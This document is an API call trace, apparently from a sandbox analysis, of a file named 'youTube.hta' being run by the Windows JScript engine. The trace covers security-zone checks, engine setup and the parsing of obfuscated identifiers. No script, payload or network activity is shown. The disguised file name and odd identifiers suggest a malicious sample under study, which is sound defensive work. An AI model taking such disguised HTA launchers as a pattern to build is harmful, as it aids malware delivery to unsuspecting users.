[0197.618] ParseURLW (in: pcszURL="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", ppu=0x19f818 | out: ppu=0x19f818) returned 0x0
[0197.618] IUnknown:AddRef (This=0x6c0ae0) returned 0x2
[0197.618] IUnknown:AddRef (This=0x6d993c) returned 0x8
[0197.619] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0197.619] IInternetSecurityManager:MapUrlToZone (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pdwZone=0x19f7c4, dwFlags=0x0 | out: pdwZone=0x19f7c4*=0xffffffff) returned 0x800c0011
[0197.619] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0197.619] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0197.619] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0197.619] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x6c0ae0, pUri=0x6d993c, dwAction=0x1400, pPolicy=0x19f7c8, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0, pdwOutFlags=0x19f7a8 | out: pPolicy=0x19f7c8*=0x0, pdwOutFlags=0x19f7a8*=0x0) returned 0x0
[0197.619] IInternetSecurityManager:ProcessUrlAction (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", dwAction=0x1400, pPolicy=0x19f7c8, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x19f7c8*=0x0) returned 0x0
[0197.619] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0197.619] IUnknown:Release (This=0x6c0ae0) returned 0x1
[0197.619] IUnknown:Release (This=0x6d993c) returned 0x7
[0197.619] StrCmpICW (pszStr1="javascript", pszStr2="javascript") returned 0
[0197.619] StrCmpICW (pszStr1="javascript", pszStr2="javascript") returned 0
[0197.619] CoCreateInstance (in: rclsid=0x19f7dc*(Data1=0x16d51579, Data2=0xa30b, Data3=0x4c8b, Data4=([0]=0xa2, [1]=0x76, [2]=0xf, [3]=0xf4, [4]=0xdc, [5]=0x41, [6]=0xe7, [7]=0x55)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6dcb69f4*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppv=0x19f774 | out: ppv=0x19f774*=0x630c404) returned 0x0
[0198.667] malloc (_Size=0x80) returned 0x630abc8
[0198.672] GetCurrentProcess () returned 0xffffffff
[0198.672] GetSystemInfo (in: lpSystemInfo=0x6d2994f0 | out: lpSystemInfo=0x6d2994f0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504))
[0198.672] GetVersionExW (in: lpVersionInformation=0x6d299534*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x6d299534*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1
[0198.672] GetEnvironmentVariableW (in: lpName="JS_DEBUG_SCOPE", lpBuffer=0x19dbc4, nSize=0x104 | out: lpBuffer="") returned 0x0
[0198.672] IsDebuggerPresent () returned 0
[0198.672] __dllonexit () returned 0x6d128ce0
[0198.673] __dllonexit () returned 0x6d128cf0
[0198.673] __dllonexit () returned 0x6d128d00
[0198.673] __dllonexit () returned 0x6d128cb0
[0198.674] __dllonexit () returned 0x6d128cc0
[0198.674] __dllonexit () returned 0x6d128cd0
[0198.675] GlobalMemoryStatusEx (in: lpBuffer=0x19dd88 | out: lpBuffer=0x19dd88) returned 1
[0198.675] __dllonexit () returned 0x6d128d20
[0198.675] __dllonexit () returned 0x6d128d40
[0198.675] __dllonexit () returned 0x6d128d50
[0198.675] __dllonexit () returned 0x6d128d70
[0198.675] __dllonexit () returned 0x6d128d60
[0198.676] __dllonexit () returned 0x6d128d80
[0198.677] GetModuleFileNameW (in: hModule=0x6cf50000, lpFilename=0x6d298e70, nSize=0x104 | out: lpFilename="C:\\Windows\\SYSTEM32\\jscript9.dll" (normalized: "c:\\windows\\syswow64\\jscript9.dll")) returned 0x20
[0198.677] GetModuleHandleW (lpModuleName="api-ms-win-core-delayload-l1-1-1.dll") returned 0x75e80000
[0198.678] GetProcAddress (hModule=0x75e80000, lpProcName="ResolveDelayLoadedAPI") returned 0x75f42570
[0198.678] GetProcAddress (hModule=0x75e80000, lpProcName="ResolveDelayLoadsFromDll") returned 0x75fb6250
[0198.678] ResolveDelayLoadedAPI () returned 0x704d3bc0
[0198.686] CryptAcquireContextW (in: phProv=0x19de08, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x19de08*=0x6c8200) returned 1
[0198.694] CryptGenRandom (in: hProv=0x6c8200, dwLen=0x40, pbBuffer=0x6d298e30 | out: pbBuffer=0x6d298e30) returned 1
[0198.694] CryptReleaseContext (hProv=0x6c8200, dwFlags=0x0) returned 1
[0198.694] _set_SSE2_enable () returned 0x1
[0198.694] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\JScriptLegacy", ulOptions=0x0, samDesired=0x20019, phkResult=0x19de08 | out: phkResult=0x19de08*=0x0) returned 0x2
[0198.694] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\JScriptLegacy", ulOptions=0x0, samDesired=0x20019, phkResult=0x19de08 | out: phkResult=0x19de08*=0x0) returned 0x2
[0198.694] EtwEventRegister () returned 0x0
[0198.695] EtwEventRegister () returned 0x0
[0198.695] EtwEventRegister () returned 0x0
[0198.695] FindAtomW (lpString="{1b7cd997-e5ff-4932-a7a6-2a9e636da385}") returned 0x0
[0198.695] AddAtomW (lpString="{16d51579-a30b-4c8b-a276-0ff4dc41e755}") returned 0xc005
[0198.696] GetModuleHandleW (lpModuleName="api-ms-win-core-processthreads-l1-1-2.dll") returned 0x74650000
[0198.696] GetProcAddress (hModule=0x74650000, lpProcName="QueryProtectedPolicy") returned 0x75f52bc0
[0198.696] VirtualProtect (in: lpAddress=0x6d29b414, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19de08 | out: lpflOldProtect=0x19de08*=0x2) returned 1
[0198.697] VirtualProtect (in: lpAddress=0x6d29b414, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x19de08 | out: lpflOldProtect=0x19de08*=0x4) returned 1
[0198.697] DllGetClassObject (in: rclsid=0x6ce904*(Data1=0x16d51579, Data2=0xa30b, Data3=0x4c8b, Data4=([0]=0xa2, [1]=0x76, [2]=0xf, [3]=0xf4, [4]=0xdc, [5]=0x41, [6]=0xe7, [7]=0x55)), riid=0x754c7590*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x19e8ac | out: ppv=0x19e8ac*=0x860558) returned 0x0
[0198.697] NdrDllGetClassObject (in: rclsid=0x6ce904*(Data1=0x16d51579, Data2=0xa30b, Data3=0x4c8b, Data4=([0]=0xa2, [1]=0x76, [2]=0xf, [3]=0xf4, [4]=0xdc, [5]=0x41, [6]=0xe7, [7]=0x55)), riid=0x754c7590*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x19e8ac, pProxyFileList=0x6cf6d5a4, pclsid=0x6cf5a8fc*(Data1=0xc20ed5c4, Data2=0xa2e, Data3=0x4f66, Data4=([0]=0x9b, [1]=0xe2, [2]=0x86, [3]=0xa1, [4]=0xc8, [5]=0x23, [6]=0xdd, [7]=0x68)), pPSFactoryBuffer=0x6d298e0c | out: ppv=0x19e8ac*=0x0) returned 0x80040111
[0198.699] malloc (_Size=0x34) returned 0x860558
[0198.702] JScriptEngine11:IClassFactory:CreateInstance (in: This=0x860558, pUnkOuter=0x0, riid=0x19f2e0*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x19e894 | out: ppvObject=0x19e894*=0x630c404) returned 0x0
[0198.702] malloc (_Size=0x220) returned 0x630c3e8
[0198.703] GetUserDefaultLCID () returned 0x409
[0198.703] GetACP () returned 0x4e4
[0198.703] malloc (_Size=0x8) returned 0x860598
[0198.703] SetThreadStackGuarantee (in: StackSizeInBytes=0x19e7cc | out: StackSizeInBytes=0x19e7cc) returned 1
[0198.703] malloc (_Size=0xc) returned 0x63052a0
[0198.703] malloc (_Size=0x1240) returned 0x630c610
[0198.703] GetCurrentThreadId () returned 0x7a0
[0198.703] RtlInitializeSListHead (in: ListHead=0x630c648 | out: ListHead=0x630c648)
[0198.704] malloc (_Size=0x30) returned 0x861110
[0198.704] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0x7350000
[0198.705] malloc (_Size=0x20) returned 0x86ef68
[0198.705] malloc (_Size=0xc0) returned 0x630d858
[0198.705] GetCurrentProcess () returned 0xffffffff
[0198.705] GetProcessIoCounters (in: hProcess=0xffffffff, lpIoCounters=0x19e750 | out: lpIoCounters=0x19e750) returned 1
[0198.705] QueryPerformanceCounter (in: lpPerformanceCount=0x19e738 | out: lpPerformanceCount=0x19e738*=3013344797354) returned 1
[0198.705] GetCurrentThread () returned 0xfffffffe
[0198.706] QueryThreadCycleTime (in: ThreadHandle=0xfffffffe, CycleTime=0x19e780 | out: CycleTime=0x19e780) returned 1
[0198.706] QueryPerformanceCounter (in: lpPerformanceCount=0x19e768 | out: lpPerformanceCount=0x19e768*=3013344827810) returned 1
[0198.706] GetCurrentProcess () returned 0xffffffff
[0198.706] GetProcessIoCounters (in: hProcess=0xffffffff, lpIoCounters=0x19e750 | out: lpIoCounters=0x19e750) returned 1
[0198.706] QueryPerformanceCounter (in: lpPerformanceCount=0x19e738 | out: lpPerformanceCount=0x19e738*=3013344840774) returned 1
[0198.706] GetCurrentThread () returned 0xfffffffe
[0198.706] QueryThreadCycleTime (in: ThreadHandle=0xfffffffe, CycleTime=0x19e780 | out: CycleTime=0x19e780) returned 1
[0198.706] QueryPerformanceCounter (in: lpPerformanceCount=0x19e768 | out: lpPerformanceCount=0x19e768*=3013344853862) returned 1
[0198.706] GetCurrentProcess () returned 0xffffffff
[0198.706] GetProcessIoCounters (in: hProcess=0xffffffff, lpIoCounters=0x19e750 | out: lpIoCounters=0x19e750) returned 1
[0198.706] QueryPerformanceCounter (in: lpPerformanceCount=0x19e738 | out: lpPerformanceCount=0x19e738*=3013344888011) returned 1
[0198.706] GetCurrentThread () returned 0xfffffffe
[0198.706] QueryThreadCycleTime (in: ThreadHandle=0xfffffffe, CycleTime=0x19e780 | out: CycleTime=0x19e780) returned 1
[0198.706] QueryPerformanceCounter (in: lpPerformanceCount=0x19e768 | out: lpPerformanceCount=0x19e768*=3013344903056) returned 1
[0198.707] QueryPerformanceCounter (in: lpPerformanceCount=0x19e780 | out: lpPerformanceCount=0x19e780*=3013344915268) returned 1
[0198.707] GetCurrentThreadId () returned 0x7a0
[0198.707] GetCurrentThreadId () returned 0x7a0
[0198.707] malloc (_Size=0x30) returned 0x86ef90
[0198.803] JScriptEngine11:IUnknown:AddRef (This=0x630c404) returned 0x2
[0198.803] JScriptEngine11:IUnknown:Release (This=0x630c404) returned 0x1
[0198.803] JScriptEngine11:IUnknown:Release (This=0x860558) returned 0x0
[0198.803] free (_Block=0x860558)
[0198.804] JScriptEngine11:IUnknown:QueryInterface (in: This=0x630c404, riid=0x6dcb69f4*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x19f714 | out: ppvObject=0x19f714*=0x630c404) returned 0x0
[0198.804] JScriptEngine11:IUnknown:Release (This=0x630c404) returned 0x1
[0198.804] IUnknown:AddRef (This=0x6c0ae0) returned 0x2
[0198.804] IUnknown:AddRef (This=0x6d993c) returned 0x8
[0198.804] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0198.804] IInternetSecurityManager:MapUrlToZone (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pdwZone=0x19f6a0, dwFlags=0x0 | out: pdwZone=0x19f6a0*=0xffffffff) returned 0x800c0011
[0198.804] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0198.804] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0198.804] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0198.804] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x6c0ae0, pUri=0x6d993c, dwAction=0x1401, pPolicy=0x19f6a4, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0, pdwOutFlags=0x19f684 | out: pPolicy=0x19f6a4*=0x0, pdwOutFlags=0x19f684*=0x0) returned 0x0
[0198.804] IInternetSecurityManager:ProcessUrlAction (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", dwAction=0x1401, pPolicy=0x19f6a4, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x19f6a4*=0x0) returned 0x0
[0198.804] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0198.805] IUnknown:Release (This=0x6c0ae0) returned 0x1
[0198.805] IUnknown:Release (This=0x6d993c) returned 0x7
[0198.805] GetCurrentThreadId () returned 0x7a0
[0198.805] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0198.805] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0198.806] GetCurrentThreadId () returned 0x7a0
[0198.808] malloc (_Size=0x84) returned 0x630d920
[0198.808] malloc (_Size=0x748) returned 0x630d9b0
[0198.808] malloc (_Size=0x8610) returned 0x630e100
[0198.809] RtlInitializeSListHead (in: ListHead=0x630e198 | out: ListHead=0x630e198)
[0198.810] RtlInitializeSListHead (in: ListHead=0x630e1b8 | out: ListHead=0x630e1b8)
[0198.810] malloc (_Size=0x113c) returned 0x6316718
[0198.810] malloc (_Size=0x113c) returned 0x6317860
[0198.815] GetTickCount () returned 0x1ca3981
[0198.815] GetTickCount () returned 0x1ca3981
[0198.816] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x388
[0198.816] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x38c
[0198.816] malloc (_Size=0x30) returned 0x860558
[0198.816] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x390
[0198.816] _beginthreadex (in: _Security=0x0, _StackSize=0x493e0, _StartAddress=0x6d0f07c0, _ArgList=0x630e100, _InitFlag=0x10000, _ThrdAddr=0x0 | out: _ThrdAddr=0x0) returned 0x394
[0198.817] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x19f590*=0x38c, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0
[0198.843] malloc (_Size=0x74) returned 0x63189a8
[0198.843] malloc (_Size=0x88) returned 0x6318a28
[0198.843] malloc (_Size=0x30) returned 0x6318ab8
[0198.843] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x203000, flProtect=0x4) returned 0x7400000
[0198.847] malloc (_Size=0x404) returned 0x6318de8
[0198.848] malloc (_Size=0x7c) returned 0x630a898
[0198.848] malloc (_Size=0x404) returned 0x63191f8
[0198.848] malloc (_Size=0x80) returned 0x630b118
[0198.849] malloc (_Size=0x20) returned 0x6318af0
[0198.849] malloc (_Size=0x9dc) returned 0x6319608
[0198.849] malloc (_Size=0x2478) returned 0x6319ff0
[0198.850] malloc (_Size=0xf8) returned 0x631c470
[0198.851] malloc (_Size=0x4c) returned 0x6318b18
[0198.851] malloc (_Size=0x3c) returned 0x6318b70
[0198.851] malloc (_Size=0x88) returned 0x631c570
[0198.852] malloc (_Size=0xd0) returned 0x631c600
[0198.852] malloc (_Size=0x78) returned 0x631c6d8
[0198.852] malloc (_Size=0xb0) returned 0x631c758
[0198.852] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x398
[0198.852] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x39c
[0198.853] _beginthreadex (in: _Security=0x0, _StackSize=0x0, _StartAddress=0x6d0d6580, _ArgList=0x631c758, _InitFlag=0x4, _ThrdAddr=0x0 | out: _ThrdAddr=0x0) returned 0x3a0
[0198.853] ResumeThread (hThread=0x3a0) returned 0x1
[0198.853] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x19f524*=0x39c, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0
[0198.858] ResetEvent (hEvent=0x39c) returned 1
[0198.858] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3a4
[0198.858] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3a8
[0198.858] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3ac
[0198.858] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3b0
[0198.858] QueryPerformanceFrequency (in: lpFrequency=0x6d299468 | out: lpFrequency=0x6d299468*=100000000) returned 1
[0198.858] QueryPerformanceCounter (in: lpPerformanceCount=0x6d299460 | out: lpPerformanceCount=0x6d299460*=3013360080295) returned 1
[0198.859] malloc (_Size=0x84) returned 0x631c810
[0198.859] malloc (_Size=0x80) returned 0x630a700
[0198.859] malloc (_Size=0x174) returned 0x631c8a0
[0198.859] malloc (_Size=0xc) returned 0x63052b8
[0198.859] malloc (_Size=0x74) returned 0x631cc50
[0198.865] malloc (_Size=0x178) returned 0x631ccd0
[0198.866] malloc (_Size=0x9c) returned 0x631ce50
[0198.867] malloc (_Size=0x174) returned 0x631cef8
[0198.868] malloc (_Size=0xf8) returned 0x631d078
[0198.870] malloc (_Size=0xf8) returned 0x631d178
[0198.871] malloc (_Size=0xc4) returned 0x631d278
[0198.871] malloc (_Size=0xcc) returned 0x631d348
[0198.872] malloc (_Size=0x104) returned 0x631d420
[0198.872] malloc (_Size=0xa4) returned 0x631d530
[0198.873] malloc (_Size=0x7c) returned 0x630a9a8
[0198.873] malloc (_Size=0x74) returned 0x631d5e0
[0198.873] malloc (_Size=0x30) returned 0x631d660
[0198.873] malloc (_Size=0x30) returned 0x631d698
[0198.873] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0x7560000
[0198.874] malloc (_Size=0xc) returned 0x86efc8
[0198.874] malloc (_Size=0x12c) returned 0x631d6d0
[0198.875] malloc (_Size=0xb8) returned 0x631d808
[0198.875] malloc (_Size=0xb8) returned 0x631d8c8
[0198.875] malloc (_Size=0xf4) returned 0x631d988
[0198.876] malloc (_Size=0x98) returned 0x631da88
[0198.879] malloc (_Size=0xa8) returned 0x631db28
[0198.879] malloc (_Size=0xb4) returned 0x631dbd8
[0198.880] malloc (_Size=0xb0) returned 0x631dc98
[0198.881] malloc (_Size=0x94) returned 0x631dd50
[0198.881] malloc (_Size=0x80) returned 0x630a810
[0198.881] ResolveDelayLoadedAPI () returned 0x76165c20
[0198.883] SafeArrayCopy (in: psa=0x0, ppsaOut=0x741002c | out: ppsaOut=0x741002c) returned 0x0
[0198.883] malloc (_Size=0xdc) returned 0x631ddf0
[0198.884] malloc (_Size=0xf8) returned 0x631ded8
[0198.884] malloc (_Size=0xc) returned 0x861148
[0198.884] GetCurrentThreadId () returned 0x7a0
[0198.885] malloc (_Size=0x10) returned 0x631dfd8
[0198.885] GetEnvironmentVariableW (in: lpName="JS_PROFILER", lpBuffer=0x19f608, nSize=0x27 | out: lpBuffer="") returned 0x0
[0198.885] GetCurrentThreadId () returned 0x7a0
[0198.885] GetCurrentThreadId () returned 0x7a0
[0198.885] ParseURLW (in: pcszURL="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", ppu=0x19f400 | out: ppu=0x19f400) returned 0x0
[0198.886] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0198.886] GetProcAddress (hModule=0x76150000, lpProcName=0x2) returned 0x76169c90
[0198.889] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19f3b4 | out: lpflOldProtect=0x19f3b4*=0x4) returned 1
[0198.889] SysStringLen (param_1="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta") returned 0x33
[0198.889] GetCurrentThreadId () returned 0x7a0
[0198.889] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1
[0198.890] GetLocaleInfoW (in: Locale=0x409, LCType=0x1004, lpLCData=0x19f6ac, cchData=6 | out: lpLCData="1252") returned 5
[0198.890] IsValidCodePage (CodePage=0x4e4) returned 1
[0198.891] GetCurrentThreadId () returned 0x7a0
[0198.891] GetCurrentThreadId () returned 0x7a0
[0198.891] GetCurrentThreadId () returned 0x7a0
[0198.891] malloc (_Size=0x2c) returned 0x631dff0
[0198.891] GetCurrentThreadId () returned 0x7a0
[0198.891] StrCmpICW (pszStr1="window", pszStr2="window") returned 0
[0198.892] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0198.894] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0198.895] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f0 | out: lpSystemTimeAsFileTime=0x630d7f0*(dwLowDateTime=0x7443668e, dwHighDateTime=0x1d7e6dd))
[0198.895] GetTickCount () returned 0x1ca39df
[0198.901] malloc (_Size=0x184) returned 0x631e028
[0198.901] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f8 | out: lpSystemTimeAsFileTime=0x630d7f8*(dwLowDateTime=0x7444647d, dwHighDateTime=0x1d7e6dd))
[0198.901] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f0 | out: lpSystemTimeAsFileTime=0x630d7f0*(dwLowDateTime=0x74447804, dwHighDateTime=0x1d7e6dd))
[0198.901] GetTickCount () returned 0x1ca39df
[0198.901] malloc (_Size=0x30) returned 0x631e1b8
[0198.902] malloc (_Size=0xa0) returned 0x631e1f0
[0198.902] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f8 | out: lpSystemTimeAsFileTime=0x630d7f8*(dwLowDateTime=0x74449f1a, dwHighDateTime=0x1d7e6dd))
[0198.902] CoCreateInstance (in: rclsid=0x6dcc1078*(Data1=0x842a1268, Data2=0x6e6a, Data3=0x465c, Data4=([0]=0x86, [1]=0x8f, [2]=0x8b, [3]=0xc4, [4]=0x45, [5]=0xb9, [6]=0x82, [7]=0x8f)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6dcbf6dc*(Data1=0x8f88fd19, Data2=0x5d42, Data3=0x477b, Data4=([0]=0xbd, [1]=0x45, [2]=0xf6, [3]=0xa4, [4]=0xa9, [5]=0x77, [6]=0xed, [7]=0x5)), ppv=0x19f704 | out: ppv=0x19f704*=0x631e2e0) returned 0x0
[0198.905] DllGetClassObject (in: rclsid=0x6ce938*(Data1=0x842a1268, Data2=0x6e6a, Data3=0x465c, Data4=([0]=0x86, [1]=0x8f, [2]=0x8b, [3]=0xc4, [4]=0x45, [5]=0xb9, [6]=0x82, [7]=0x8f)), riid=0x754c7590*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x19e84c | out: ppv=0x19e84c*=0x631e298) returned 0x0
[0198.905] NdrDllGetClassObject (in: rclsid=0x6ce938*(Data1=0x842a1268, Data2=0x6e6a, Data3=0x465c, Data4=([0]=0x86, [1]=0x8f, [2]=0x8b, [3]=0xc4, [4]=0x45, [5]=0xb9, [6]=0x82, [7]=0x8f)), riid=0x754c7590*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x19e84c, pProxyFileList=0x6cf6d5a4, pclsid=0x6cf5a8fc*(Data1=0xc20ed5c4, Data2=0xa2e, Data3=0x4f66, Data4=([0]=0x9b, [1]=0xe2, [2]=0x86, [3]=0xa1, [4]=0xc8, [5]=0x23, [6]=0xdd, [7]=0x68)), pPSFactoryBuffer=0x6d298e0c | out: ppv=0x19e84c*=0x0) returned 0x80040111
[0198.905] malloc (_Size=0x34) returned 0x631e298
[0198.906] IClassFactory:CreateInstance (in: This=0x631e298, pUnkOuter=0x0, riid=0x19f280*(Data1=0x8f88fd19, Data2=0x5d42, Data3=0x477b, Data4=([0]=0xbd, [1]=0x45, [2]=0xf6, [3]=0xa4, [4]=0xa9, [5]=0x77, [6]=0xed, [7]=0x5)), ppvObject=0x19e834 | out: ppvObject=0x19e834*=0x631e2e0) returned 0x0
[0198.906] malloc (_Size=0x5c) returned 0x631e2d8
[0198.906] GetCurrentThreadId () returned 0x7a0
[0198.907] IUnknown:Release (This=0x631e2e0) returned 0x1
[0198.907] IUnknown:Release (This=0x631e298) returned 0x0
[0198.907] free (_Block=0x631e298)
[0198.907] IUnknown:QueryInterface (in: This=0x631e2e0, riid=0x6dcbf6dc*(Data1=0x8f88fd19, Data2=0x5d42, Data3=0x477b, Data4=([0]=0xbd, [1]=0x45, [2]=0xf6, [3]=0xa4, [4]=0xa9, [5]=0x77, [6]=0xed, [7]=0x5)), ppvObject=0x19f6b4 | out: ppvObject=0x19f6b4*=0x631e2e0) returned 0x0
[0198.907] IUnknown:Release (This=0x631e2e0) returned 0x1
[0198.912] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x14) returned 0x6f8910
[0198.912] GetCurrentThreadId () returned 0x7a0
[0198.912] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0198.913] GetCurrentThreadId () returned 0x7a0
[0198.913] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0198.914] GetCurrentThreadId () returned 0x7a0
[0198.914] GetCurrentThreadId () returned 0x7a0
[0198.914] SysStringLen (param_1=0x0) returned 0x0
[0198.914] SysStringLen (param_1="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta") returned 0x33
[0198.915] _wcsicmp (_String1="", _String2="") returned 0
[0198.915] malloc (_Size=0x1447) returned 0x631e340
[0198.916] malloc (_Size=0x22c) returned 0x631f790
[0198.916] malloc (_Size=0x804) returned 0x631f9c8
[0198.916] malloc (_Size=0x19c) returned 0x63201d8
[0198.921] malloc (_Size=0x1004) returned 0x6320380
[0198.923] malloc (_Size=0x98) returned 0x6321390
[0198.927] wcscpy_s (in: _Destination=0x632059c, _SizeInWords=0xb, _Source="loadPowPow" | out: _Destination="loadPowPow") returned 0x0
[0198.928] wcscpy_s (in: _Destination=0x63205b2, _SizeInWords=0x7, _Source="length" | out: _Destination="length") returned 0x0
[0198.929] _ltow_s (in: _Value=0, _Buffer=0x6320248, _BufferCount=0x80, _Radix=10 | out: _Buffer="0") returned 0x0
[0198.929] swprintf_s (in: _Dst=0x6320904, _SizeInWords=0x10, _Format="%s[%s]" | out: _Dst="girlTubeTube[0]") returned 15
[0198.929] _ltow_s (in: _Value=1, _Buffer=0x6320248, _BufferCount=0x80, _Radix=10 | out: _Buffer="1") returned 0x0
[0198.929] swprintf_s (in: _Dst=0x6320954, _SizeInWords=0x10, _Format="%s[%s]" | out: _Dst="girlTubeTube[1]") returned 15
[0198.929] free (_Block=0x63201d8)
[0198.929] malloc (_Size=0x90) returned 0x63201d8
[0198.930] malloc (_Size=0xa4) returned 0x6320270
[0198.931] malloc (_Size=0x94) returned 0x6321430
[0198.931] wcscpy_s (in: _Destination=0x735c060, _SizeInWords=0xe, _Source="doorKarolDoor" | out: _Destination="doorKarolDoor") returned 0x0
[0198.931] wcscpy_s (in: _Destination=0x73573d0, _SizeInWords=0x8, _Source="tubePow" | out: _Destination="tubePow") returned 0x0
